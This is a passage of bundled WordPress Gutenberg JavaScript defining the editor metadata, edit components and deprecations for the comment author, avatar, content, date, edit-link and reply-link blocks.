    metadata: () =&gt; block_default19,
    name: () =&gt; name18,
    settings: () =&gt; settings18
  });

  // packages/block-library/build-module/comment-author-avatar/block.json
  var block_default19 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: &quot;fse&quot;,
    name: &quot;core/comment-author-avatar&quot;,
    title: &quot;Comment Author Avatar (deprecated)&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;This block is deprecated. Please use the Avatar block instead.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      width: {
        type: &quot;number&quot;,
        default: 96
      },
      height: {
        type: &quot;number&quot;,
        default: 96
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      html: false,
      inserter: false,
      __experimentalBorder: {
        radius: true,
        width: true,
        color: true,
        style: true
      },
      color: {
        background: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      spacing: {
        __experimentalSkipSerialization: true,
        margin: true,
        padding: true
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comment-author-avatar/edit.mjs
  var import_block_editor46 = __toESM(require_block_editor(), 1);
  var import_components21 = __toESM(require_components(), 1);
  var import_core_data9 = __toESM(require_core_data(), 1);
  var import_data22 = __toESM(require_data(), 1);
  var import_i18n32 = __toESM(require_i18n(), 1);
  var import_jsx_runtime203 = __toESM(require_jsx_runtime(), 1);
  function Edit6({
    attributes: attributes2,
    context: { commentId },
    setAttributes,
    isSelected
  }) {
    const { height, width } = attributes2;
    const [avatars] = (0, import_core_data9.useEntityProp)(
      &quot;root&quot;,
      &quot;comment&quot;,
      &quot;author_avatar_urls&quot;,
      commentId
    );
    const [authorName] = (0, import_core_data9.useEntityProp)(
      &quot;root&quot;,
      &quot;comment&quot;,
      &quot;author_name&quot;,
      commentId
    );
    const avatarUrls = avatars ? Object.values(avatars) : null;
    const sizes = avatars ? Object.keys(avatars) : null;
    const minSize = sizes ? sizes[0] : 24;
    const maxSize = sizes ? sizes[sizes.length - 1] : 96;
    const blockProps = (0, import_block_editor46.useBlockProps)();
    const spacingProps = (0, import_block_editor46.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const maxSizeBuffer = Math.floor(maxSize * 2.5);
    const avatarURL = (0, import_data22.useSelect)((select9) =&gt; {
      const { __experimentalDiscussionSettings } = select9(import_block_editor46.store).getSettings();
      return __experimentalDiscussionSettings?.avatarURL;
    }, []);
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_block_editor46.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_components21.PanelBody, { title: (0, import_i18n32.__)(&quot;Settings&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
      import_components21.RangeControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n32.__)(&quot;Image size&quot;),
        onChange: (newWidth) =&gt; setAttributes({
          width: newWidth,
          height: newWidth
        }),
        min: minSize,
        max: maxSizeBuffer,
        initialPosition: width,
        value: width
      }
    ) }) });
    const resizableAvatar = /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
      import_components21.ResizableBox,
      {
        size: {
          width,
          height
        },
        showHandle: isSelected,
        onResizeStop: (event, direction, elt, delta) =&gt; {
          setAttributes({
            height: parseInt(height + delta.height, 10),
            width: parseInt(width + delta.width, 10)
          });
        },
        lockAspectRatio: true,
        enable: {
          top: false,
          right: !(0, import_i18n32.isRTL)(),
          bottom: true,
          left: (0, import_i18n32.isRTL)()
        },
        minWidth: minSize,
        maxWidth: maxSizeBuffer,
        children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
          &quot;img&quot;,
          {
            src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : avatarURL,
            alt: `${authorName} ${(0, import_i18n32.__)(&quot;Avatar&quot;)}`,
            ...blockProps
          }
        )
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(import_jsx_runtime203.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(&quot;div&quot;, { ...spacingProps, children: resizableAvatar })
    ] });
  }

  // packages/block-library/build-module/comment-author-avatar/index.mjs
  var { name: name18 } = block_default19;
  var settings18 = {
    icon: comment_author_avatar_default,
    edit: Edit6
  };
  var init18 = () =&gt; initBlock({ name: name18, metadata: block_default19, settings: settings18 });

  // packages/block-library/build-module/comment-author-name/index.mjs
  var comment_author_name_exports = {};
  __export(comment_author_name_exports, {
    init: () =&gt; init19,
    metadata: () =&gt; block_default20,
    name: () =&gt; name19,
    settings: () =&gt; settings19
  });

  // packages/block-library/build-module/comment-author-name/block.json
  var block_default20 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-author-name&quot;,
    title: &quot;Comment Author Name&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;Displays the name of the author of the comment.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-comment-author-name&quot;
  };

  // packages/block-library/build-module/comment-author-name/edit.mjs
  var import_i18n33 = __toESM(require_i18n(), 1);
  var import_data23 = __toESM(require_data(), 1);
  var import_block_editor47 = __toESM(require_block_editor(), 1);
  var import_core_data10 = __toESM(require_core_data(), 1);
  var import_components22 = __toESM(require_components(), 1);
  var import_jsx_runtime204 = __toESM(require_jsx_runtime(), 1);
  function Edit7(props) {
    const {
      attributes: { isLink, linkTarget },
      context: { commentId },
      setAttributes
    } = props;
    useDeprecatedTextAlign(props);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockProps = (0, import_block_editor47.useBlockProps)();
    let displayName = (0, import_data23.useSelect)(
      (select9) =&gt; {
        const { getEntityRecord } = select9(import_core_data10.store);
        const comment = getEntityRecord(&quot;root&quot;, &quot;comment&quot;, commentId);
        const authorName = comment?.author_name;
        if (comment &amp;&amp; !authorName) {
          const user = getEntityRecord(&quot;root&quot;, &quot;user&quot;, comment.author);
          return user?.name ?? (0, import_i18n33.__)(&quot;Anonymous&quot;);
        }
        return authorName ?? &quot;&quot;;
      },
      [commentId]
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(import_block_editor47.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime204.jsxs)(
      import_components22.__experimentalToolsPanel,
      {
        label: (0, import_i18n33.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            isLink: true,
            linkTarget: &quot;_self&quot;
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
            import_components22.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n33.__)(&quot;Link to authors URL&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !isLink,
              onDeselect: () =&gt; setAttributes({
                isLink: true
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
                import_components22.ToggleControl,
                {
                  label: (0, import_i18n33.__)(&quot;Link to authors URL&quot;),
                  onChange: () =&gt; setAttributes({ isLink: !isLink }),
                  checked: isLink
                }
              )
            }
          ),
          isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
            import_components22.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n33.__)(&quot;Open in new tab&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; linkTarget !== &quot;_self&quot;,
              onDeselect: () =&gt; setAttributes({
                linkTarget: &quot;_self&quot;
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
                import_components22.ToggleControl,
                {
                  label: (0, import_i18n33.__)(&quot;Open in new tab&quot;),
                  onChange: (value) =&gt; setAttributes({
                    linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                  }),
                  checked: linkTarget === &quot;_blank&quot;
                }
              )
            }
          )
        ]
      }
    ) });
    if (!commentId || !displayName) {
      displayName = (0, import_i18n33._x)(&quot;Comment Author&quot;, &quot;block title&quot;);
    }
    const displayAuthor = isLink ? /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
      &quot;a&quot;,
      {
        href: &quot;#comment-author-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        children: displayName
      }
    ) : displayName;
    return /* @__PURE__ */ (0, import_jsx_runtime204.jsxs)(import_jsx_runtime204.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(&quot;div&quot;, { ...blockProps, children: displayAuthor })
    ] });
  }

  // packages/block-library/build-module/comment-author-name/deprecated.mjs
  var v22 = {
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var v15 = {
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default8 = [v22, v15];

  // packages/block-library/build-module/comment-author-name/index.mjs
  var { name: name19 } = block_default20;
  var settings19 = {
    icon: comment_author_name_default,
    edit: Edit7,
    deprecated: deprecated_default8,
    example: {}
  };
  var init19 = () =&gt; initBlock({ name: name19, metadata: block_default20, settings: settings19 });

  // packages/block-library/build-module/comment-content/index.mjs
  var comment_content_exports = {};
  __export(comment_content_exports, {
    init: () =&gt; init20,
    metadata: () =&gt; block_default21,
    name: () =&gt; name20,
    settings: () =&gt; settings20
  });

  // packages/block-library/build-module/comment-content/block.json
  var block_default21 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-content&quot;,
    title: &quot;Comment Content&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;Displays the contents of a comment.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      spacing: {
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      html: false
    },
    style: &quot;wp-block-comment-content&quot;
  };

  // packages/block-library/build-module/comment-content/edit.mjs
  var import_i18n34 = __toESM(require_i18n(), 1);
  var import_element15 = __toESM(require_element(), 1);
  var import_components23 = __toESM(require_components(), 1);
  var import_core_data11 = __toESM(require_core_data(), 1);
  var import_block_editor48 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime205 = __toESM(require_jsx_runtime(), 1);
  function Edit8(props) {
    const {
      context: { commentId }
    } = props;
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor48.useBlockProps)();
    const [content] = (0, import_core_data11.useEntityProp)(
      &quot;root&quot;,
      &quot;comment&quot;,
      &quot;content&quot;,
      commentId
    );
    if (!commentId || !content) {
      return /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_jsx_runtime205.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(&quot;p&quot;, { children: (0, import_i18n34._x)(&quot;Comment Content&quot;, &quot;block title&quot;) }) }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_jsx_runtime205.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_components23.Disabled, { children: /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(import_element15.RawHTML, { children: content.rendered }, &quot;html&quot;) }) }) });
  }

  // packages/block-library/build-module/comment-content/deprecated.mjs
  var v16 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      spacing: {
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;]
      },
      html: false
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default9 = [v16];

  // packages/block-library/build-module/comment-content/index.mjs
  var { name: name20 } = block_default21;
  var settings20 = {
    icon: comment_content_default,
    edit: Edit8,
    deprecated: deprecated_default9,
    example: {}
  };
  var init20 = () =&gt; initBlock({ name: name20, metadata: block_default21, settings: settings20 });

  // packages/block-library/build-module/comment-date/index.mjs
  var comment_date_exports = {};
  __export(comment_date_exports, {
    init: () =&gt; init21,
    metadata: () =&gt; block_default22,
    name: () =&gt; name21,
    settings: () =&gt; settings21
  });

  // packages/block-library/build-module/comment-date/block.json
  var block_default22 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-date&quot;,
    title: &quot;Comment Date&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;Displays the date on which the comment was posted.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-comment-date&quot;
  };

  // packages/block-library/build-module/comment-date/edit.mjs
  var import_core_data12 = __toESM(require_core_data(), 1);
  var import_date = __toESM(require_date(), 1);
  var import_block_editor49 = __toESM(require_block_editor(), 1);
  var import_components24 = __toESM(require_components(), 1);
  var import_i18n35 = __toESM(require_i18n(), 1);
  var import_jsx_runtime206 = __toESM(require_jsx_runtime(), 1);
  function Edit9({
    attributes: { format: format3, isLink },
    context: { commentId },
    setAttributes
  }) {
    const blockProps = (0, import_block_editor49.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    let [date] = (0, import_core_data12.useEntityProp)(&quot;root&quot;, &quot;comment&quot;, &quot;date&quot;, commentId);
    const [siteFormat = (0, import_date.getSettings)().formats.date] = (0, import_core_data12.useEntityProp)(
      &quot;root&quot;,
      &quot;site&quot;,
      &quot;date_format&quot;
    );
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(import_block_editor49.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime206.jsxs)(
      import_components24.__experimentalToolsPanel,
      {
        label: (0, import_i18n35.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            format: void 0,
            isLink: true
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
            import_components24.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n35.__)(&quot;Date format&quot;),
              hasValue: () =&gt; format3 !== void 0,
              onDeselect: () =&gt; setAttributes({ format: void 0 }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
                import_block_editor49.__experimentalDateFormatPicker,
                {
                  format: format3,
                  defaultFormat: siteFormat,
                  onChange: (nextFormat) =&gt; setAttributes({ format: nextFormat })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
            import_components24.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n35.__)(&quot;Link to comment&quot;),
              hasValue: () =&gt; !isLink,
              onDeselect: () =&gt; setAttributes({ isLink: true }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
                import_components24.ToggleControl,
                {
                  label: (0, import_i18n35.__)(&quot;Link to comment&quot;),
                  onChange: () =&gt; setAttributes({ isLink: !isLink }),
                  checked: isLink
                }
              )
            }
          )
        ]
      }
    ) });
    if (!commentId || !date) {
      date = (0, import_i18n35._x)(&quot;Comment Date&quot;, &quot;block title&quot;);
    }
    let commentDate = date instanceof Date ? /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(&quot;time&quot;, { dateTime: (0, import_date.dateI18n)(&quot;c&quot;, date), children: format3 === &quot;human-diff&quot; ? (0, import_date.humanTimeDiff)(date) : (0, import_date.dateI18n)(format3 || siteFormat, date) }) : /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(&quot;time&quot;, { children: date });
    if (isLink) {
      commentDate = /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(
        &quot;a&quot;,
        {
          href: &quot;#comment-date-pseudo-link&quot;,
          onClick: (event) =&gt; event.preventDefault(),
          children: commentDate
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime206.jsxs)(import_jsx_runtime206.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(&quot;div&quot;, { ...blockProps, children: commentDate })
    ] });
  }

  // packages/block-library/build-module/comment-date/deprecated.mjs
  var v17 = {
    attributes: {
      format: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default10 = [v17];

  // packages/block-library/build-module/comment-date/index.mjs
  var { name: name21 } = block_default22;
  var settings21 = {
    icon: post_date_default,
    edit: Edit9,
    deprecated: deprecated_default10,
    example: {}
  };
  var init21 = () =&gt; initBlock({ name: name21, metadata: block_default22, settings: settings21 });

  // packages/block-library/build-module/comment-edit-link/index.mjs
  var comment_edit_link_exports = {};
  __export(comment_edit_link_exports, {
    init: () =&gt; init22,
    metadata: () =&gt; block_default23,
    name: () =&gt; name22,
    settings: () =&gt; settings22
  });

  // packages/block-library/build-module/comment-edit-link/block.json
  var block_default23 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-edit-link&quot;,
    title: &quot;Comment Edit Link&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;commentId&quot;],
    attributes: {
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    style: &quot;wp-block-comment-edit-link&quot;
  };

  // packages/block-library/build-module/comment-edit-link/edit.mjs
  var import_block_editor50 = __toESM(require_block_editor(), 1);
  var import_components25 = __toESM(require_components(), 1);
  var import_i18n36 = __toESM(require_i18n(), 1);
  var import_jsx_runtime207 = __toESM(require_jsx_runtime(), 1);
  function Edit10(props) {
    const { attributes: attributes2, setAttributes } = props;
    const { linkTarget } = attributes2;
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor50.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(import_block_editor50.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
      import_components25.__experimentalToolsPanel,
      {
        label: (0, import_i18n36.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            linkTarget: &quot;_self&quot;
          });
        },
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
          import_components25.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n36.__)(&quot;Open in new tab&quot;),
            isShownByDefault: true,
            hasValue: () =&gt; linkTarget === &quot;_blank&quot;,
            onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
            children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
              import_components25.ToggleControl,
              {
                label: (0, import_i18n36.__)(&quot;Open in new tab&quot;),
                onChange: (value) =&gt; setAttributes({
                  linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                }),
                checked: linkTarget === &quot;_blank&quot;
              }
            )
          }
        )
      }
    ) });
    return /* @__PURE__ */ (0, import_jsx_runtime207.jsxs)(import_jsx_runtime207.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(
        &quot;a&quot;,
        {
          href: &quot;#edit-comment-pseudo-link&quot;,
          onClick: (event) =&gt; event.preventDefault(),
          children: (0, import_i18n36.__)(&quot;Edit&quot;)
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/comment-edit-link/deprecated.mjs
  var v18 = {
    attributes: {
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        gradients: true,
        text: false
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default11 = [v18];

  // packages/block-library/build-module/comment-edit-link/index.mjs
  var { name: name22 } = block_default23;
  var settings22 = {
    icon: comment_edit_link_default,
    edit: Edit10,
    deprecated: deprecated_default11,
    example: {}
  };
  var init22 = () =&gt; initBlock({ name: name22, metadata: block_default23, settings: settings22 });

  // packages/block-library/build-module/comment-reply-link/index.mjs
  var comment_reply_link_exports = {};
  __export(comment_reply_link_exports, {
    init: () =&gt; init23,
    metadata: () =&gt; block_default24,
    name: () =&gt; name23,
    settings: () =&gt; settings23
  });

  // packages/block-library/build-module/comment-reply-link/block.json
  var block_default24 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comment-reply-link&quot;,
    title: &quot;Comment Reply Link&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/comment-template&quot;],
    description: &quot;Displays a link to reply to a comment.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false
    },
    style: &quot;wp-block-comment-reply-link&quot;
  };

  // packages/block-library/build-module/comment-reply-link/edit.mjs
  var import_i18n37 = __toESM(require_i18n(), 1);
  var import_block_editor51 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime208 = __toESM(require_jsx_runtime(), 1);
  function Edit11(props) {
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor51.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(import_jsx_runtime208.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(
      &quot;a&quot;,
      {
        href: &quot;#comment-reply-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        /* translators: Comment reply button text. */
        children: (0, import_i18n37._x)(&quot;Reply&quot;, &quot;verb&quot;)
      }
    ) }) });
  }
  var edit_default6 = Edit11;

  // packages/block-library/build-module/comment-reply-link/deprecated.mjs
  var v19 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;commentId&quot;],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        text: false
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default12 = [v19];

  // packages/block-library/build-module/comment-reply-link/index.mjs
  var { name: name23 } = block_default24;
  var settings23 = {
    edit: edit_default6,
    icon: comment_reply_link_default,
    deprecated: deprecated_default12,
    example: {}
  };
  var init23 = () =&gt; initBlock({ name: name23, metadata: block_default24, settings: settings23 });

